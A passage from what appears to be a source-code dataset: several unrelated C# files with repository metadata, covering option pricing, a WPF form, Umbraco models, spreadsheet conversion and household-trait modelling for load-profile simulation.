for a number of step sizes (usually increasing) Vector<double, long> result(meshSizes.Size()); print (result); // TwoFactorBinomial(TwoFactorBinomialParameters& optinData,long NSteps, // double S1, double S2); TwoFactorBinomial* local; for (long j = result.MinIndex(); j <= result.MaxIndex(); j++) { local = new TwoFactorBinomial(optionData, meshSizes[j], S1, S2); result[j] = local->Price(); //cout << local->Price() << ";;"; delete local; } return result; } } // End of name space Datasim #endif // TwoFactorBinomial_CPP
24.347458
117
0.565263
[ "MIT" ]
jdm7dv/financial
windows/CsForFinancialMarkets/CsForFinancialMarkets/UtilityClassLibrary/Datasim/LatticeMethods/OneFactorBinomial/TwoFactorBinomial.cs
5,746
C#
using System; using System.Collections.Generic; using System.Globalization; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows; using System.Windows.Controls; using System.Windows.Data; using System.Windows.Documents; using System.Windows.Input; using System.Windows.Media; using System.Windows.Media.Imaging; using System.Windows.Navigation; using System.Windows.Shapes; namespace DrillWpfObject { /// <summary> /// Interaction logic for MainWindow.xaml /// </summary> public partial class MainWindow : Window { private List<Result> results = new List<Result>(); public MainWindow() { InitializeComponent(); } private void Save_Click(object sender, RoutedEventArgs e) { int dist_in_m; bool int_isParsable = Int32.TryParse(Distance.Text, out dist_in_m); if (!int_isParsable) return; double time; bool double_isParsable = Double.TryParse(Time.Text, out time); if (!double_isParsable) return; results.Add(new Result(NameOfRunner.Text, dist_in_m, time)); int lastIndex = results.Count - 1; TextBlock textBlock = new TextBlock(); textBlock.Text = results[lastIndex].ToString(); lopare.Children.Add(textBlock); } } }
27.686275
79
0.640935
[ "Apache-2.0" ]
DrSteam1111/programmering-2
CSharp/DrillWpfObjectRunner-master/DrillWpfObject/MainWindow.xaml.cs
1,414
C#
using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // アセンブリに関する一般情報は以下の属性セットをとおして制御されます。 // アセンブリに関連付けられている情報を変更するには、 // これらの属性値を変更してください。 [assembly: AssemblyTitle("ConsoleApplication1")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("ConsoleApplication1")] [assembly: AssemblyCopyright("Copyright © 2016")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // ComVisible を false に設定すると、その型はこのアセンブリ内で COM コンポーネントから // 参照不可能になります。COM からこのアセンブリ内の型にアクセスする場合は、 // その型の ComVisible 属性を true に設定してください。 [assembly: ComVisible(false)] // 次の GUID は、このプロジェクトが COM に公開される場合の、typelib の ID です [assembly: Guid("a88f99b7-8574-4a13-8b4a-0b7299f04369")] // アセンブリのバージョン情報は、以下の 4 つの値で構成されています: // // Major Version // Minor Version // Build Number // Revision // // すべての値を指定するか、下のように '*' を使ってビルドおよびリビジョン番号を // 既定値にすることができます: // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("1.0.0.0")] [assembly: AssemblyFileVersion("1.0.0.0")]
30.945946
58
0.724891
[ "MIT" ]
suzumura-ss/cSharp-console-detect-usb-event-example
ConsoleApplication1/Properties/AssemblyInfo.cs
1,670
C#
//------------------------------------------------------------------------------ // <auto-generated> // This code was generated by a tool. // // Umbraco.ModelsBuilder v3.0.10.102 // // Changes to this file will be lost if the code is regenerated. // </auto-generated> //------------------------------------------------------------------------------ using System; using System.Collections.Generic; using System.Linq.Expressions; using System.Web; using Umbraco.Core.Models; using Umbraco.Core.Models.PublishedContent; using Umbraco.Web; using Umbraco.ModelsBuilder; using Umbraco.ModelsBuilder.Umbraco; namespace Umbraco.Web.PublishedContentModels { // Mixin content Type 1054 with alias "master" /// <summary>Master</summary> public partial interface IMaster : IPublishedContent { /// <summary>MetaDescription</summary> string MetaDescription { get; } /// <summary>MetaKeywords</summary> string MetaKeywords { get; } /// <summary>UmbracoNaviHide</summary> bool UmbracoNaviHide { get; } } /// <summary>Master</summary> [PublishedContentModel("master")] public partial class Master : PublishedContentModel, IMaster { #pragma warning disable 0109 // new is redundant public new const string ModelTypeAlias = "master"; public new const PublishedItemType ModelItemType = PublishedItemType.Content; #pragma warning restore 0109 public Master(IPublishedContent content) : base(content) { } #pragma warning disable 0109 // new is redundant public new static PublishedContentType GetModelContentType() { return PublishedContentType.Get(ModelItemType, ModelTypeAlias); } #pragma warning restore 0109 public static PublishedPropertyType GetModelPropertyType<TValue>(Expression<Func<Master, TValue>> selector) { return PublishedContentModelUtility.GetModelPropertyType(GetModelContentType(), selector); } ///<summary> /// MetaDescription ///</summary> [ImplementPropertyType("metaDescription")] public string MetaDescription { get { return GetMetaDescription(this); } } /// <summary>Static getter for MetaDescription</summary> public static string GetMetaDescription(IMaster that) { return that.GetPropertyValue<string>("metaDescription"); } ///<summary> /// MetaKeywords ///</summary> [ImplementPropertyType("metaKeywords")] public string MetaKeywords { get { return GetMetaKeywords(this); } } /// <summary>Static getter for MetaKeywords</summary> public static string GetMetaKeywords(IMaster that) { return that.GetPropertyValue<string>("metaKeywords"); } ///<summary> /// UmbracoNaviHide ///</summary> [ImplementPropertyType("umbracoNaviHide")] public bool UmbracoNaviHide { get { return GetUmbracoNaviHide(this); } } /// <summary>Static getter for UmbracoNaviHide</summary> public static bool GetUmbracoNaviHide(IMaster that) { return that.GetPropertyValue<bool>("umbracoNaviHide"); } } }
29.454545
116
0.704047
[ "MIT" ]
Thorbenl/Aarhus-Web-Dev-Coorp
WebDevCorp/App_Data/Models/Master.generated.cs
2,916
C#
using System.Collections; using System.Collections.Generic; using UnityEngine; public class BG_Audio : MonoBehaviour { private static BG_Audio instance = null; /// <summary> /// gets the background audio instance /// </summary> public static BG_Audio Instance { get { return instance; } // returns the property value or the indexer element } /// <summary> /// change status of bg audio /// </summary> void Awake() { if (instance != null && instance != this) // destroy object { Destroy(this.gameObject); return; } else instance = this; DontDestroyOnLoad(this.gameObject); // dont destroy automatically when loading a new scene } }
23.78125
98
0.609724
[ "MIT" ]
karinakozarova/Arduino-Dancer
src/DesktopApp/ArduinoDancer/Assets/Scripts/BG_Audio.cs
763
C#
using System; using System.Collections.Generic; using System.Data; using System.Globalization; namespace SilveR.ViewModels { public class Sheets { public List<Sheet> sheets { get; } = new List<Sheet>(); } public class Sheet { public List<Row> Rows { get; } = new List<Row>(); public string Name { get; set; } //Name is actually the datasetID public Sheet() { } public Sheet(DataTable dataTable) { Name = dataTable.TableName; Row headerRow = new Row(); //header row foreach (DataColumn c in dataTable.Columns) { Cell cell = new Cell(); if (c.ToString() != "SilveRSelected") { cell.Value = c.ToString(); } else //else leave blank { cell.Enable = false; } cell.Bold = true; headerRow.Cells.Add(cell); } Rows.Add(headerRow); foreach (DataRow dataRow in dataTable.Rows) { Row row = new Row(); row.Cells = new List<Cell>(); bool silverSelectedColumn = true; foreach (var c in dataRow.ItemArray) { Cell cell = new Cell(); if (silverSelectedColumn) { cell.Validation = new Validation(); cell.Validation.DataType = "list"; cell.Validation.From = "{true,false}"; cell.Validation.ShowButton = true; cell.Validation.Type = "reject"; cell.Validation.ComparerType = "list"; cell.Value = c.ToString().ToLower(); silverSelectedColumn = false; } else { double doubleVal; bool isNumeric = Double.TryParse(c.ToString(), out doubleVal); if (isNumeric) cell.Value = doubleVal; else cell.Value = c.ToString(); } row.Cells.Add(cell); } Rows.Add(row); } } public DataTable ToDataTable() { DataTable dataTable = new DataTable(); bool headerRow = true; foreach (Row row in this.Rows) { if (headerRow) { foreach (Cell cell in row.Cells) { DataColumn dataColumn; if (cell.Value == null && !cell.Enable) //then its the SilveRSelected header cell { dataColumn = new DataColumn("SilveRSelected", System.Type.GetType("System.Boolean")); } else { if (cell.Value == null || String.IsNullOrWhiteSpace(cell.Value.ToString())) throw new InvalidOperationException("Header cannot be empty"); dataColumn = new DataColumn(cell.Value.ToString()); } dataTable.Columns.Add(dataColumn); } headerRow = false; } else { DataRow dataRow = dataTable.NewRow(); for (int i = 0; i < row.Cells.Count; i++) { if (i == 0) //then its the SilverSelected column { bool isSilverSelected; bool parsedOK = Boolean.TryParse(row.Cells[0].Value.ToString(), out isSilverSelected); if (parsedOK) { dataRow[i] = isSilverSelected; } else //not parsed but default to selected = true { dataRow[i] = true; } } else { dataRow[i] = row.Cells[i].Value; } } dataTable.Rows.Add(dataRow); } } return dataTable; } } public class Row { public List<Cell> Cells { get; set; } = new List<Cell>(); } public class Cell { public object Value { get; set; } public bool Bold { get; set; } public Validation Validation { get; set; } public bool Enable { get; set; } = true; } public class Validation { public string DataType { get; set; } public string ComparerType { get; set; } public string From { get; set; } public bool ShowButton { get; set; } public bool AllowNulls { get; set; } public string Type { get; set; } } }
29.563536
114
0.405345
[ "MIT" ]
robalexclark/SilveR
SilveR/ViewModels/Sheets.cs
5,353
C#
//----------------------------------------------------------------------- // <copyright> // // Copyright (c) TU Chemnitz, Prof. Technische Thermodynamik // Written by Noah Pflugradt. // Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: // // Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. // Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the distribution. // All advertising materials mentioning features or use of this software must display the following acknowledgement: // “This product includes software developed by the TU Chemnitz, Prof. Technische Thermodynamik and its contributors.” // Neither the name of the University nor the names of its contributors may be used to endorse or promote products // derived from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE UNIVERSITY 'AS IS' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, // BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE // DISCLAIMED. IN NO EVENT SHALL THE UNIVERSITY OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, S // PECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; L // OSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, // STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF // ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // </copyright> //----------------------------------------------------------------------- using System; using System.Collections.Generic; using System.Collections.ObjectModel; using System.Diagnostics.CodeAnalysis; using System.Globalization; using System.Linq; using Automation; using Automation.ResultFiles; using Common; using Common.Enums; using Database.Database; using Database.Helpers; using Database.Tables.BasicElements; using Database.Tables.BasicHouseholds; using JetBrains.Annotations; namespace Database.Tables.ModularHouseholds { public enum EstimateType { Theoretical, FromCalculations } public record AffordanceWithTimeLimit { public AffordanceWithTimeLimit([JetBrains.Annotations.NotNull] Affordance affordance, [CanBeNull] TimeLimit timeLimit, int weight, int startMinusTime, int startPlusTime, int endMinusTime, int endPlusTime, [JetBrains.Annotations.NotNull] string srcTraitName) { Affordance = affordance; TimeLimit = timeLimit; Weight = weight; StartMinusTime = startMinusTime; StartPlusTime = startPlusTime; EndMinusTime = endMinusTime; EndPlusTime = endPlusTime; SrcTraitName = srcTraitName; } [JetBrains.Annotations.NotNull] public string SrcTraitName { get; } [JetBrains.Annotations.NotNull] [UsedImplicitly] public Affordance Affordance { get; } [UsedImplicitly] [CanBeNull] public TimeLimit TimeLimit { get; } [UsedImplicitly] public int Weight { get; } [UsedImplicitly] public int StartMinusTime { get; } [UsedImplicitly] public int StartPlusTime { get; } [UsedImplicitly] public int EndMinusTime { get; } [UsedImplicitly] public int EndPlusTime { get; } //public bool Equals(AffordanceWithTimeLimit other) //{ // if (other.Affordance == Affordance && TimeLimit == other.TimeLimit) { // return true; // } // return false; //} //public override bool Equals(object obj) //{ // if (!(obj is AffordanceWithTimeLimit)) { // return false; // } // return Equals((AffordanceWithTimeLimit)obj); //} //public override int GetHashCode() //{ // var hashCode = -1402040524; // hashCode = hashCode * -1521134295 + base.GetHashCode(); // hashCode = hashCode * -1521134295 + EqualityComparer<string>.Default.GetHashCode(SrcTraitName); // hashCode = hashCode * -1521134295 + EqualityComparer<Affordance>.Default.GetHashCode(Affordance); // if (TimeLimit != null) { // hashCode = hashCode * -1521134295 + EqualityComparer<TimeLimit>.Default.GetHashCode(TimeLimit); // } // hashCode = hashCode * -1521134295 + Weight.GetHashCode(); // hashCode = hashCode * -1521134295 + StartMinusTime.GetHashCode(); // hashCode = hashCode * -1521134295 + StartPlusTime.GetHashCode(); // hashCode = hashCode * -1521134295 + EndMinusTime.GetHashCode(); // return hashCode * -1521134295 + EndPlusTime.GetHashCode(); //} //public static bool operator ==(AffordanceWithTimeLimit left, AffordanceWithTimeLimit right) => left.Equals(right); //public static bool operator !=(AffordanceWithTimeLimit left, AffordanceWithTimeLimit right) => !(left == right); } public class HouseholdTrait : DBBaseElement, IHouseholdOrTrait, IJsonSerializable<HouseholdTrait.JsonDto> { internal const string TableName = "tblHouseholdTraits"; [ItemNotNull] [JetBrains.Annotations.NotNull] private readonly ObservableCollection<HHTAutonomousDevice> _autodevs; [ItemNotNull] [JetBrains.Annotations.NotNull] private readonly ObservableCollection<HHTDesire> _desires; [JetBrains.Annotations.NotNull] [ItemNotNull] private readonly ObservableCollection<HHTLocation> _locations; [ItemNotNull] [JetBrains.Annotations.NotNull] private readonly ObservableCollection<HHTTrait> _subTraits; [ItemNotNull] [JetBrains.Annotations.NotNull] private readonly ObservableCollection<HHTTag> _tags; [ItemNotNull] [JetBrains.Annotations.NotNull] private readonly ObservableCollection<HHTLivingPatternTag> _livingPatternTags; [CanBeNull] private string _cachedPrettyName; [JetBrains.Annotations.NotNull] private string _classification; [JetBrains.Annotations.NotNull] private string _description; private double _estimatedDuration2InMinutes; private double _estimatedTimeCount; private double _estimatedTimeCount2; private double _estimatedTimePerYearInH; private double _estimatedTimes; private double _estimatedTimes2; private TimeType _estimatedTimeType; private TimeType _estimatedTimeType2; private EstimateType _estimateType; private int _maximumNumberInCHH; private int _maximumPersonsInCHH; private int _minimumPersonsInCHH; [JetBrains.Annotations.NotNull] private string _shortDescription; public HouseholdTrait([JetBrains.Annotations.NotNull] string pName, [CanBeNull] int? id, [JetBrains.Annotations.NotNull] string description, [JetBrains.Annotations.NotNull] string connectionString, [JetBrains.Annotations.NotNull] string classification, int minimumPersonsInCHH, int maximumPersonsInCHH, int maximumNumberInCHH, double estimatedTimes, double estimatedTimeCount, TimeType estimatedTimeType, double estimatedTimes2, double estimatedTimeCount2, TimeType estimatedTimeType2, double estimatedDuration2InMinutes, double estimatedTimePerYearInH, EstimateType estimateType, [JetBrains.Annotations.NotNull] string shortDescription, [JetBrains.Annotations.NotNull] StrGuid guid) : base(pName, TableName, connectionString, guid) { ID = id; _locations = new ObservableCollection<HHTLocation>(); _autodevs = new ObservableCollection<HHTAutonomousDevice>(); _desires = new ObservableCollection<HHTDesire>(); _subTraits = new ObservableCollection<HHTTrait>(); _tags = new ObservableCollection<HHTTag>(); _livingPatternTags = new ObservableCollection<HHTLivingPatternTag>(); TypeDescription = "Household Trait"; AreNumbersOkInNameForIntegrityCheck = true; _description = description; _classification = classification; _minimumPersonsInCHH = minimumPersonsInCHH; _maximumPersonsInCHH = maximumPersonsInCHH; _maximumNumberInCHH = maximumNumberInCHH; _estimatedTimes = estimatedTimes; _estimatedTimeType = estimatedTimeType; _estimatedTimeCount = estimatedTimeCount; _estimatedTimeCount2 = estimatedTimeCount2; _estimatedTimeType2 = estimatedTimeType2; _estimatedTimes2 = estimatedTimes2; _estimatedDuration2InMinutes = estimatedDuration2InMinutes; _estimatedTimePerYearInH = estimatedTimePerYearInH; _estimateType = estimateType; _shortDescription = shortDescription; } [ItemNotNull] [JetBrains.Annotations.NotNull] [UsedImplicitly] public ObservableCollection<HHTAutonomousDevice> Autodevs => _autodevs; [JetBrains.Annotations.NotNull] [UsedImplicitly] public string Classification { get => _classification; set { SetValueWithNotify(value, ref _classification, nameof(Classification)); OnPropertyChanged(nameof(PrettyName)); } } [JetBrains.Annotations.NotNull] [UsedImplicitly] public string Description { get => _description; set => SetValueWithNotify(value, ref _description, nameof(Description)); } [ItemNotNull] [JetBrains.Annotations.NotNull] public ObservableCollection<HHTDesire> Desires => _desires; [UsedImplicitly] public double EstimatedDuration2InMinutes { get => _estimatedDuration2InMinutes; set { SetValueWithNotify(value, ref _estimatedDuration2InMinutes, nameof(EstimatedDuration2InMinutes)); OnPropertyChanged(nameof(PrettyName)); } } [UsedImplicitly] public double EstimatedTimeCount { get => _estimatedTimeCount; set { SetValueWithNotify(value, ref _estimatedTimeCount, nameof(EstimatedTimeCount)); OnPropertyChanged(nameof(PrettyName)); } } [UsedImplicitly] public double EstimatedTimeCount2 { get => _estimatedTimeCount2; set { SetValueWithNotify(value, ref _estimatedTimeCount2, nameof(EstimatedTimeCount2)); OnPropertyChanged(nameof(PrettyName)); } } [UsedImplicitly] public double EstimatedTimeInSeconds { get; set; } [UsedImplicitly] public double EstimatedTimePerYearInH { get => _estimatedTimePerYearInH; set { SetValueWithNotify(value, ref _estimatedTimePerYearInH, nameof(EstimatedTimePerYearInH)); OnPropertyChanged(nameof(PrettyName)); } } [UsedImplicitly] public double EstimatedTimes { get => _estimatedTimes; set { SetValueWithNotify(value, ref _estimatedTimes, nameof(EstimatedTimes)); OnPropertyChanged(nameof(PrettyName)); } } [UsedImplicitly] public double EstimatedTimes2 { get => _estimatedTimes2; set { SetValueWithNotify(value, ref _estimatedTimes2, nameof(EstimatedTimes2)); OnPropertyChanged(nameof(PrettyName)); } } [UsedImplicitly] public TimeType EstimatedTimeType { get => _estimatedTimeType; set { SetValueWithNotify(value, ref _estimatedTimeType, nameof(EstimatedTimeType)); OnPropertyChanged(nameof(PrettyName)); } } [UsedImplicitly] public TimeType EstimatedTimeType2 { get => _estimatedTimeType2; set { SetValueWithNotify(value, ref _estimatedTimeType2, nameof(EstimatedTimeType2)); OnPropertyChanged(nameof(PrettyName)); } } [UsedImplicitly] public EstimateType EstimateType { get => _estimateType; set { SetValueWithNotify(value, ref _estimateType, nameof(EstimateType)); OnPropertyChanged(nameof(PrettyName)); } } [JetBrains.Annotations.NotNull] [ItemNotNull] public ObservableCollection<HHTLocation> Locations => _locations; [UsedImplicitly] public int MaximumNumberInCHH { get => _maximumNumberInCHH; set => SetValueWithNotify(value, ref _maximumNumberInCHH, nameof(MaximumNumberInCHH)); } [UsedImplicitly] public int MaximumPersonsInCHH { get => _maximumPersonsInCHH; set => SetValueWithNotify(value, ref _maximumPersonsInCHH, nameof(MaximumPersonsInCHH)); } [UsedImplicitly] public int MinimumPersonsInCHH { get => _minimumPersonsInCHH; set => SetValueWithNotify(value, ref _minimumPersonsInCHH, nameof(MinimumPersonsInCHH)); } public int PermittedGender { get { var affs = CollectAffordances(true); var genders = affs.Select(x => x.PermittedGender).ToList(); if (genders.Contains(Common.Enums.PermittedGender.All)) { return -1; } var males = genders.Count(x => x == Common.Enums.PermittedGender.Male); var females = genders.Count(x => x == Common.Enums.PermittedGender.Female); if (males == 0 && females == 0) { return -1; } if (males > 0 && females == 0) { return 0; } if (females > 0 && males == 0) { return 1; } return -1; } } public override string PrettyName { get { if (IsLoading && _cachedPrettyName != null) { return _cachedPrettyName; } if (CollectAffordances(true).Count == 0) { return "(" + _classification + ") " + Name; } if (Math.Abs(_estimatedTimeCount2) < 0.00001) { var estimatedTime = TheoreticalTimeEstimateString(); _cachedPrettyName = "(" + _classification + ") " + Name + estimatedTime; return _cachedPrettyName; } // time estimate v2: from calcs var duration = (_estimatedDuration2InMinutes / 60).ToString("N1", CultureInfo.CurrentCulture) + "h, "; var estimatedTime2 = " (" + duration + EstimatedTimes2 + "x/" + EstimatedTimeCount2 + " " + EstimatedTimeType2 + ")"; if (Math.Abs(EstimatedTimeCount2 - 1) < Constants.Ebsilon) { estimatedTime2 = " (" + duration + EstimatedTimes2 + "x/" + EstimatedTimeType2 + ")"; } _cachedPrettyName = "(" + _classification + ") " + Name + estimatedTime2; return _cachedPrettyName; } } [JetBrains.Annotations.NotNull] [UsedImplicitly] public string PrettyNameOld { get { if (CollectAffordances(true).Count == 0) { return "(" + _classification + ") " + Name; } var estimatedTime = TheoreticalTimeEstimateString(); return "(" + _classification + ") " + Name + estimatedTime; } } // shortdescription is used for the person description creator that creates the template persons for the web interface [JetBrains.Annotations.NotNull] [UsedImplicitly] public string ShortDescription { get => _shortDescription; set => SetValueWithNotify(value, ref _shortDescription, nameof(ShortDescription)); } [ItemNotNull] [JetBrains.Annotations.NotNull] public ObservableCollection<HHTTrait> SubTraits => _subTraits; [JetBrains.Annotations.NotNull] [ItemNotNull] public ObservableCollection<HHTTag> Tags => _tags; [JetBrains.Annotations.NotNull] [ItemNotNull] public ObservableCollection<HHTLivingPatternTag> LivingPatternTags => _livingPatternTags; [JetBrains.Annotations.NotNull] public string WebName { get { if (CollectAffordances(true).Count == 0) { return Name; } var duration = CalculateAverageAffordanceDuration().TotalHours.ToString("N1", CultureInfo.CurrentCulture) + "h, "; var estimatedTime = " (" + duration + EstimatedTimes + "x/" + EstimatedTimeCount + " " + EstimatedTimeType + ")"; if (Math.Abs(EstimatedTimeCount - 1) < Constants.Ebsilon) { estimatedTime = " (" + duration + EstimatedTimes + "x/" + EstimatedTimeType + ")"; } var webName = Name + estimatedTime; return webName; } } public List<Affordance> CollectAffordances(bool onlyRelevant) { var allAffordances = new List<Affordance>(); foreach (var hhLocation in Locations) { var range = hhLocation.AffordanceLocations.Where(x => x.Affordance != null).Select(x => x.Affordance).ToList(); foreach (var aff in range) { if (aff == null) { throw new LPGException("Found a bug in: " + LPGException.ErrorLocation()); } } allAffordances.AddRange(range); } allAffordances = allAffordances.Distinct().ToList(); if (onlyRelevant) { var desires = new List<Desire>(); foreach (var hhtDesire in _desires) { desires.Add(hhtDesire.Desire); } var filtered = new List<Affordance>(); foreach (var affordance in allAffordances) { foreach (var desire in affordance.AffordanceDesires) { if (desires.Contains(desire.Desire)) { filtered.Add(affordance); break; } } } allAffordances = filtered; } return allAffordances; } public List<IAssignableDevice> CollectStandbyDevices() { var allDevices = new List<IAssignableDevice>(); foreach (var autodev in _autodevs) { allDevices.Add(autodev.Device); } return allDevices; } public override string Name { get => base.Name; set { base.Name = value; OnPropertyChanged(nameof(PrettyName)); } } public JsonDto GetJson() { JsonDto jto = new JsonDto(Name, Description, Classification, EstimatedDuration2InMinutes, EstimatedTimeCount, EstimatedTimeCount2, EstimatedTimePerYearInH, EstimatedTimes, EstimatedTimes2, EstimatedTimeType, EstimatedTimeType2, EstimateType, MaximumNumberInCHH, MaximumPersonsInCHH, MinimumPersonsInCHH, ShortDescription, Guid, EstimatedTimeInSeconds); foreach (var autodev in Autodevs) { jto.AutonomousDevices.Add(autodev.GetJson()); } foreach (var location in Locations) { jto.Locations.Add(location.GetJson()); } foreach (var desire in Desires) { jto.Desires.Add(desire.GetJson()); } foreach (var tag in Tags) { jto.Tags.Add(tag.Tag.GetJsonReference()); } foreach (var lptag in LivingPatternTags) { jto.LivingPatternTags.Add(lptag.Tag.GetJsonReference()); } foreach (var subTrait in SubTraits) { jto.SubTraits.Add(subTrait.ThisTrait.GetJsonReference()); } return jto; } [CanBeNull] public HHTTag AddTag([JetBrains.Annotations.NotNull] TraitTag tag) { if (_tags.Any(x => x.Tag == tag)) { return null; } var hhttag = new HHTTag(null, IntID, tag, ConnectionString, tag.Name, System.Guid.NewGuid().ToStrGuid()); _tags.Add(hhttag); _tags.Sort(); hhttag.SaveToDB(); return hhttag; } [CanBeNull] public HHTLivingPatternTag AddLivingPatternTag([JetBrains.Annotations.NotNull] LivingPatternTag tag) { if (_livingPatternTags.Any(x => x.Tag == tag)) { return null; } var hhttag = new HHTLivingPatternTag(null, IntID, tag, ConnectionString, tag.Name, System.Guid.NewGuid().ToStrGuid()); _livingPatternTags.Add(hhttag); _livingPatternTags.Sort(); hhttag.SaveToDB(); return hhttag; } [CanBeNull] public HHTLivingPatternTag AddLivingPatternTagFromJto(JsonReference json, [JetBrains.Annotations.NotNull] Simulator sim) { var tag = sim.LivingPatternTags.FindByJsonReference(json) ?? throw new LPGException("Could not find living pattern tag " + json); return AddLivingPatternTag(tag); } [CanBeNull] public HHTTag AddTagFromJto(JsonReference json, [JetBrains.Annotations.NotNull] Simulator sim) { var tag = sim.TraitTags.FindByJsonReference(json) ?? throw new LPGException("Could not find trait tag " + json); return AddTag(tag); } public void CalculateEstimatedTimes() { if (CollectAffordances(true).Count == 0) { EstimatedTimes = 0; EstimatedTimeCount = 0; EstimatedTimeType = TimeType.Day; Logger.Error("The trait " + PrettyName + " has zero executable affordances! This probably should be fixed."); return; } var ts = TimeSpan.Zero; var count = 0; foreach (var desire in Desires) { ts = ts.Add(TimeSpan.FromHours((double)desire.DecayTime * 2)); count++; } EstimatedTimeInSeconds = ts.TotalSeconds / count; ts = TimeSpan.FromSeconds(ts.TotalSeconds / count); // average time if (ts.TotalHours < 24) { EstimatedTimeType = TimeType.Day; EstimatedTimeCount = 1; EstimatedTimes = Math.Round(24 / ts.TotalHours, 1); return; } if (ts.TotalDays < 7) { EstimatedTimeType = TimeType.Week; EstimatedTimeCount = 1; EstimatedTimes = Math.Round(7 / ts.TotalDays, 1); return; } if (ts.TotalDays < 30) { EstimatedTimeType = TimeType.Month; EstimatedTimeCount = 1; EstimatedTimes = Math.Round(30 / ts.TotalDays, 1); return; } EstimatedTimeType = TimeType.Year; EstimatedTimeCount = 1; EstimatedTimes = Math.Round(365 / ts.TotalDays, 1); } public override List<UsedIn> CalculateUsedIns(Simulator sim) { var used = new List<UsedIn>(); foreach (var chh in sim.ModularHouseholds.Items) { foreach (var trait in chh.Traits) { if (trait.HouseholdTrait == this) { if (trait.AssignType == ModularHouseholdTrait.ModularHouseholdTraitAssignType.Name && trait.DstPerson != null) { used.Add(new UsedIn(chh, "Modular Household", trait.DstPerson.PrettyName)); } else { used.Add(new UsedIn(chh, "Modular Household")); } } } } return used; } [JetBrains.Annotations.NotNull] public List<AffordanceWithTimeLimit> CollectAffordancesForLocation([JetBrains.Annotations.NotNull] Location loc, [JetBrains.Annotations.NotNull] string assignedTo, [CanBeNull] Person person) { var affordances = new List<AffordanceWithTimeLimit>(); var hhtLocation = _locations.FirstOrDefault(x => x.Location == loc); if (hhtLocation != null) { foreach (var affloc in hhtLocation.AffordanceLocations) { if (affloc.Affordance == null) { throw new LPGException("Affordance was null"); } bool reallyAdd = true; if (person != null) { reallyAdd = affloc.Affordance.IsValidPerson(person); } if (reallyAdd) { AffordanceWithTimeLimit atl = new AffordanceWithTimeLimit(affloc.Affordance, affloc.TimeLimit, affloc.Weight, affloc.StartMinusMinutes, affloc.StartPlusMinutes, affloc.EndMinusMinutes, affloc.EndPlusMinutes, PrettyName + " (assigned to " + assignedTo + ")"); affordances.Add(atl); } } } foreach (var subTrait in SubTraits) { affordances.AddRange(subTrait.ThisTrait.CollectAffordancesForLocation(loc, assignedTo, person)); } return affordances; } [ItemNotNull] [JetBrains.Annotations.NotNull] public List<DeviceActionGroup> CollectDeviceActionGroups() { var dcs = new List<DeviceActionGroup>(); foreach (var autonomousDevice in _autodevs) { if (autonomousDevice.Device?.AssignableDeviceType == AssignableDeviceType.DeviceActionGroup) { dcs.Add((DeviceActionGroup)autonomousDevice.Device); } } foreach (var hhLocation in _locations) { dcs.AddRange(hhLocation.Location.CollectDeviceActionGroups()); foreach (var hhaff in hhLocation.AffordanceLocations) { if (hhaff.Affordance == null) { throw new LPGException("Affordance was null"); } foreach (var device in hhaff.Affordance.AffordanceDevices) { if (device.Device?.AssignableDeviceType == AssignableDeviceType.DeviceActionGroup) { dcs.Add((DeviceActionGroup)device.Device); } } } } var dcs2 = new List<DeviceActionGroup>(); foreach (var group in dcs) { if (!dcs2.Contains(group)) { dcs2.Add(group); } } return dcs2; } [ItemNotNull] [JetBrains.Annotations.NotNull] public List<DeviceCategory> CollectDeviceCategories() { var dcs = new List<DeviceCategory>(); foreach (var autonomousDevice in _autodevs) { dcs.Add(autonomousDevice.DeviceCategory); } foreach (var hhLocation in _locations) { dcs.AddRange(hhLocation.Location.CollectDeviceCategories()); } var dcs2 = new List<DeviceCategory>(); foreach (var deviceCategory in dcs) { if (!dcs2.Contains(deviceCategory)) { dcs2.Add(deviceCategory); } } return dcs2; } [ItemNotNull] [JetBrains.Annotations.NotNull] public List<Tuple<Location, IAssignableDevice>> CollectDevicesFromTrait() { var locdev = new List<Tuple<Location, IAssignableDevice>>(); foreach (var location in _locations) { foreach (var affordance in location.AffordanceLocations) { if (affordance.Affordance == null) { throw new LPGException("Affordance was null"); } if (affordance.HHTLocation == null) { throw new LPGException("HHTLocation was null"); } foreach (var affordanceDevice in affordance.Affordance.AffordanceDevices) { var tup = new Tuple<Location, IAssignableDevice>(affordance.HHTLocation.Location, affordanceDevice.Device); if (!locdev.Contains(tup)) { locdev.Add(tup); } } } } foreach (var trait in _subTraits) { locdev.AddRange(trait.ThisTrait.CollectDevicesFromTrait()); } return locdev; } /* public List<HouseholdTrait> CollectRecursiveSubtraits() { var traits = new List<HouseholdTrait>(); traits.Add(this); foreach (var subTrait in SubTraits) { traits.AddRange(subTrait.ThisTrait.CollectRecursiveSubtraits()); } return traits; }*/ public override int CompareTo(BasicElement other) { if (other is HouseholdTrait trait) { return string.Compare(PrettyName, trait.PrettyName, StringComparison.Ordinal); } return base.CompareTo(other); } [JetBrains.Annotations.NotNull] [UsedImplicitly] public static DBBase CreateNewItem([JetBrains.Annotations.NotNull] Func<string, bool> isNameTaken, [JetBrains.Annotations.NotNull] string connectionString) => new HouseholdTrait( FindNewName(isNameTaken, "New Household Trait "), null, "(no description yet)", 